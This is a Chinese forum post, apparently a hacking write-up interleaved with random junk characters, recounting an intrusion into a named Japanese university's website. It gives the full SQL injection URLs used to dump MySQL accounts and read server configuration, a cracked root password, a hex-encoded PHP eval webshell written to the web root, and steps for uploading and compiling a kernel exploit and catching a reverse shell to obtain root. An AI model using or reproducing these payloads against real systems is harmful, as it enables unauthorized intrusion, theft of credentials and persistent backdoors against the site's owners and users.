入侵日本同志社大学技术分析8 h3 D- x, a, Z, j' ?; n
7 b" ?# C1 T+ q! z- l5 J4 zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1( u4 h6 e8 S' c e
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
5 `* O6 O( g6 O
$ e* R6 W/ \7 H# @http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user( y: p0 g: K6 a: Y4 n$ Q8 z" _
) R( K& |+ m1 m- u
0 h6 D1 ~/ q. Z
/ _: E# G; ~0 U) W( S( W0 A//@@datadir为数据库文件路径
) O* S; o2 g- L/ F
, U* X! _# w2 ~+ J2 |, g4 A4 N" l$ H% {" T4 p' i
//load_file读取网站容器apache的配置文件 + W. X. M. d) a e! c* f
* f9 a# u) _( M7 P2 Y
# e+ ^2 Q- ` o( j
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
. d' X& v/ {0 ^. R复制代码
0 s% b* _, L9 g0 F8 r/ u7 Q5 m2 u4 }+ D, p, \) x
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。/ T/ z+ z0 A6 S6 ~2 u. _* O8 O$ o/ E
7 P' }! |! y- k) A6 O而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。: U0 n, w% I. H0 d/ p
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
# C5 T# a! f0 z- a" B2 E- B" E+ s% C/ d- \! u8 Z1 Y5 M
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
' E+ _( m( y* y* f如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html* w. I! O6 y- S! n" B; ~6 I
- ~* N6 U* |6 e# P既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/) O3 b5 T! b+ w$ Q6 h3 N
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
5 i0 i3 k t* m7 |, L& w直接写一句话:
X0 H4 n W2 O) a) s' z4 k7 t
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#; e' b5 S* A% ]2 H
* V. X' b q/ N7 d. o1 ^ ! e/ H7 {8 y) G) N6 f+ O
0 s: L! P2 W( H4 t//最后的#是为了闭合前面的语句
- ^9 U7 m. O8 L' ~# U2 L
0 n, y8 N# [7 N) b/ O( y# o' u1 R
3 W; y2 t: K( o/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E Y: f) W# x" s1 b
) K0 M( E& e7 Y1 w9 z
- m/ S# a6 @. Q. Y4 ]0 W9 g为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
9 m6 X* s% U/ g+ v: a- P 3 Z9 q) K% u) e4 `$ [2 x# ?5 A6 [# I
) K$ O6 O. K- X" r7 M2 z//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
4 u7 |, M3 c: q 7 G, E. b' H* ^' N9 r. H v
& Q% b6 D" r/ ]/ X( K& A5 I//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 F' S5 g! Q1 G& |; E
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” r* a' _# K+ j6 o* O2 A
复制代码4 @* q% K1 T: S' t1 N: ^4 c& `
. P& c: v1 i- v' W IHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
) }5 e+ v; ?: T通过上述注入语句,我们就得到了一句话木马:
7 S( b/ X% o% K9 S' Z6 Z( d/ S8 Y/ `
# q" U1 q z5 ?: K* r8 O $ Z2 J$ }, C7 m( D9 ]5 |3 c
) I d/ s1 `, y1 }
{- f8 p- q1 U7 o G# y& R8 Q/ f- \4 I( A
http://www.doshisha.ac.jp/english/engnews_img/aa.php + Y V: c+ j" e0 h q& |9 x) V
复制代码' F7 n$ }/ X" W, Y9 J& C9 I$ G7 F
/ L2 _; I/ _8 b9 i7 W# E1 p
用菜刀连接,密码是cmd,如图所示:
: a( l& O4 m4 {* r0 i7 G' a u然后在命令提示行里看了一下,现在的权限是:
" T1 H0 v# P0 j( f/ i7 o; j" q$ o# g$ |# e5 X& T
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
7 m9 [. |% [1 i2 T好在赋权给这个文件夹不需要root,直接执行赋权语句:
# V9 k2 T/ H8 w' @6 I' [
9 Q5 D3 i. m+ X7 g C 2 C7 N$ D- U, o
: R7 n W+ n' C : c% A4 V/ G9 Q4 i) q0 C. p6 `2 A
5 n! \9 X- R: C; mchmod +x /tmp/ 0 d1 [/ u$ v& S
复制代码
" \* |8 S w8 G$ ^5 y8 S& t4 E" j
* f* Z% A5 B( Y; ]在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行' V `! |. `4 [: ?( m& c5 p8 |
然后就查了一下内核版本:9 W& Z4 d) R# J5 \& m( T+ w
a( `* n; n8 I$ E5 b# c3 Y" l+ h - c* q7 ?8 Q& }
" t6 W4 _; i$ e, l; M& A, b
, [/ Q3 a" M: T3 B
, N2 e; p! }# M: n, i/ f% iuname-a
2 R9 f$ O1 O" X9 i+ C( I- ~( b0 k
$ _$ z; q2 `& l( g
6 X3 |+ E- t2 c' A//其实lsb_release -a * _' q) d& ]" b6 Q3 t! O
复制代码. A0 M E3 m$ S# C: X8 @: _
- K$ q) D( r) y: u0 f
如图所示:. ~4 l" e0 ]0 T8 c" o
2 m0 d( a; L; t' U/ g. o1 x5 O
内核版本:linux mainz1 2.6.28-194.e15
, f* w2 J$ p5 ?& ]) O系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga). y Z7 F4 U% d4 H" O5 h
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹! q9 c! w8 f. l; j' c
9 i- i3 e3 s/ b6 o然后给予执行权限
7 i: Q& m: b; D! `: N; k! H, x一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
9 Q% Z# p/ r, b3 Q6 ~/ O
3 V# l7 ~& F ?3 x1 i ! l: T& F* X# L) v P y, G) U
8 Q# M1 O" i( m- l: B) y! h1 \3 d
# {, C7 ^ m: @7 L/ G0 [" i
3 i0 w& D- y5 t$ w9 achmod +x /tmp/2.6.18-194 / ]! x% J/ r0 d, o
复制代码 然后直接执行!~* D% [( f) d6 M( D9 ?# B0 U5 M
+ v1 d# r% Y" U7 ]$ K x总结:
0 U+ ~; }% J$ i: t5 b& {% R# l/ m这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
1 \, k9 U. O @: a& V提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
( p. V' L, Z$ ]6 l \! B+ B9 I+ Y" `6 ~* J; ]3 b* k1 b
|